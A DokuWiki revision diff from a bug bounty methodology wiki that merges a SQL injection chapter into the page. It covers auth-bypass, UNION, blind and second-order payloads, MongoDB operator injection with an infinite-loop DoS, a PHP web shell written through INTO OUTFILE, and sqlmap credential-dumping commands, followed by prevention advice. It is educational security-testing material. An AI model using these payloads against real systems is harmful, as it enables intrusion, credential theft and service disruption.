User Tools

Site Tools


tbhm:06_sqli

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
tbhm:06_sqli [2026/05/14 09:59] – integrate zseano methodology drewtbhm:06_sqli [2026/05/14 15:57] (current) – merge bbc ch11 sqli techniques drew
Line 75: Line 75:
  
   * [[zseano:sqli|Full Zseano SQLi Guide]]   * [[zseano:sqli|Full Zseano SQLi Guide]]
 +
 +
 +====== BBC Ch 11: SQL Injection ======
 +
 +//Merged from Bug Bounty Bootcamp Ch 11 by Vickie Li//
 +
 +===== How SQL Injection Works =====
 +
 +SQL injection happens when user-supplied input is interpolated directly into a SQL query without sanitization, allowing the attacker to alter the query's logic.
 +
 +**Classic example -- auth bypass via comment:**
 +
 +<code sql>
 +SELECT * FROM Users WHERE Username='admin' AND Password='' OR 1=1--
 +</code>
 +
 +The ''--'' starts a SQL comment, terminating the rest of the query. ''OR 1=1'' always evaluates true, so authentication is bypassed regardless of the password field.
 +
 +**Input that achieves this:**
 +<code>
 +Username field: admin'--
 +Password field: (anything)
 +</code>
 +
 +The ''SELECT'' then becomes:
 +<code sql>
 +SELECT * FROM Users WHERE Username='admin'--' AND Password='anything'
 +</code>
 +
 +===== Types of SQL Injection =====
 +
 +==== In-Band SQLi ====
 +
 +Results are returned directly in the HTTP response.
 +
 +**UNION-based:** extract data from other tables by appending a UNION SELECT:
 +
 +<code sql>
 +SELECT Title, Body FROM Articles WHERE Id=1
 +UNION SELECT Username, Password FROM Users
 +</code>
 +
 +To use UNION, the injected SELECT must return the same number of columns as the original query, and data types must be compatible. First determine the column count with ORDER BY:
 +
 +<code>
 +https://example.com/articles?id=1 ORDER BY 1--
 +https://example.com/articles?id=1 ORDER BY 2--
 +https://example.com/articles?id=1 ORDER BY 3--  (error -> 2 columns)
 +</code>
 +
 +Then extract:
 +<code>
 +https://example.com/articles?id=1 UNION SELECT Username, Password FROM Users--
 +</code>
 +
 +**Error-based:** the database error message itself contains extracted data. Useful when the app shows database errors.
 +
 +==== Blind SQLi ====
 +
 +No data returned in the response -- infer data from behavior.
 +
 +**Boolean-based:** ask a true/false question; different responses reveal the answer.
 +
 +Brute-force admin password character by character using SUBSTR:
 +
 +<code sql>
 +SELECT * FROM Users WHERE Username='admin'
 +  AND SUBSTR(Password, 1, 1) = 's'--
 +</code>
 +
 +If page behavior matches the "true" response, the first character is ''s''. Iterate through positions and characters to reconstruct the full password.
 +
 +**Time-based:** when there is no observable difference between true and false responses, use SLEEP:
 +
 +<code sql>
 +SELECT * FROM Users WHERE Username='admin'
 +  AND IF(SUBSTR(Password,1,1)='s', SLEEP(10), 0)--
 +</code>
 +
 +A 10-second delay confirms the character is correct.
 +
 +**Out-of-band:** exfiltrate data via DNS or HTTP to an external server. Used when neither boolean nor time channels are available.
 +
 +==== Second-Order SQLi ====
 +
 +The payload is stored in the database (user registration, profile update) and executed later when the application uses that stored value in another SQL query -- typically in a context with different input sanitization.
 +
 +Example: register with username ''admin'--''. The registration step sanitizes and stores it safely. Later, a password-change feature builds:
 +<code sql>
 +UPDATE Users SET Password='newpass' WHERE Username='admin'--'
 +</code>
 +
 +The comment terminates the WHERE clause, updating ''admin'''s password instead of the attacker's account.
 +
 +===== NoSQL Injection =====
 +
 +NoSQL databases (MongoDB, CouchDB) use their own query languages; injection still applies.
 +
 +**MongoDB auth bypass with operator injection:**
 +
 +Normal login query:
 +<code javascript>
 +db.users.find({username: username, password: password})
 +</code>
 +
 +Inject a MongoDB query operator via JSON body:
 +<code json>
 +{"username": "admin", "password": {"$ne": ""}}
 +</code>
 +
 +''$ne'' means "not equal to" -- the password condition is always true, bypassing auth.
 +
 +**$where JavaScript injection:**
 +
 +<code javascript>
 +db.users.find({$where: "this.username == 'user' && this.password == 'pass'"})
 +</code>
 +
 +Inject into the string:
 +<code>
 +username=admin'&&+this.password[0]=='a'&&'1'=='1
 +</code>
 +
 +This builds a JS expression that brute-forces password characters. If the $where clause executes arbitrary JS, you can also cause DoS:
 +
 +<code>
 +username=admin';while(true){}&
 +</code>
 +
 +===== Prevention =====
 +
 +**Prepared statements (parameterized queries):** the query structure is compiled separately from user input. Input is always treated as literal data, never as SQL syntax. This is the primary defense:
 +
 +<code java>
 +PreparedStatement stmt = conn.prepareStatement(
 +    "SELECT * FROM Users WHERE Username=? AND Password=?");
 +stmt.setString(1, username);
 +stmt.setString(2, password);
 +</code>
 +
 +Input validation and allowlisting (e.g., only allow integers for numeric parameters) provide defense-in-depth. For NoSQL, use the driver's parameterized query APIs.
 +
 +===== Hunting for SQLi =====
 +
 +==== Step 1: Identify User-Supplied Input ====
 +
 +Any input that reaches a database query is a candidate:
 +  * URL query parameters
 +  * POST body parameters
 +  * HTTP headers (User-Agent, Referer, X-Forwarded-For, Cookie values)
 +  * Stored values that are later used in queries (second-order)
 +
 +==== Step 2: Inject Test Payloads ====
 +
 +For each input field, send payloads that break out of string context:
 +
 +<code>
 +'
 +''
 +;
 +-- -
 +;-- -
 +' OR '1'='1
 +' OR 1=1--
 +</code>
 +
 +Observe for:
 +  * SQL error messages (table names, column names, database type)
 +  * Changed behavior (different page content, rows returned)
 +  * Blank page (unhandled exception)
 +  * Time delay (time-based blind)
 +
 +==== Step 3: Confirm and Extract ====
 +
 +If behavior changes on ''''' but not on '''''', confirm it is SQLi (not just input validation). Proceed with UNION extraction or blind brute-forcing depending on response visibility.
 +
 +For time-based confirmation:
 +<code>
 +'; IF(1=1, SLEEP(10), 0)--
 +'; IF(1=2, SLEEP(10), 0)--   (should NOT sleep)
 +</code>
 +
 +==== Step 4: Determine the Database ====
 +
 +Fingerprint the database to use the correct syntax:
 +<code sql>
 +@@version           (MySQL, MSSQL)
 +version()           (PostgreSQL)
 +SELECT banner FROM v$version   (Oracle)
 +</code>
 +
 +Enumerate tables and columns:
 +<code sql>
 +SELECT table_name FROM information_schema.tables WHERE table_schema=database()
 +SELECT column_name FROM information_schema.columns WHERE table_name='users'
 +</code>
 +
 +==== Step 5: Escalate ====
 +
 +**Dump credentials:** extract username and password columns from the users table. Crack hashed passwords offline.
 +
 +**Web shell via INTO OUTFILE (MySQL, with FILE privilege):**
 +
 +<code sql>
 +SELECT "<?php system($_REQUEST['cmd']); ?>"
 +INTO OUTFILE '/var/www/html/shell.php'
 +</code>
 +
 +Confirm the web root path from server error messages or default config paths. After writing the file:
 +<code>
 +https://example.com/shell.php?cmd=id
 +</code>
 +
 +This gives OS command execution.
 +
 +**Automation: sqlmap**
 +
 +<code>
 +sqlmap -u "https://example.com/articles?id=1" -p id --dbs
 +sqlmap -u "https://example.com/articles?id=1" -p id -D target_db --tables
 +sqlmap -u "https://example.com/articles?id=1" -p id -D target_db -T users --dump
 +</code>
 +
 +Use ''--level'' and ''--risk'' to increase test coverage. Use ''--forms'' to test form fields automatically.
 +
 +===== 5-Step Checklist =====
 +
 +  - Map all user-supplied inputs that reach database queries (URL params, POST body, headers, stored values).
 +  - Inject ''''' and SQL-breaking payloads; look for errors, behavioral changes, or delays.
 +  - Confirm: use balanced quotes test (one quote breaks, two quotes restores normal behavior).
 +  - Fingerprint the database; enumerate tables and columns via information_schema.
 +  - Extract credentials; attempt INTO OUTFILE web shell if FILE privilege is available; automate with sqlmap.
  
tbhm/06_sqli.txt · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki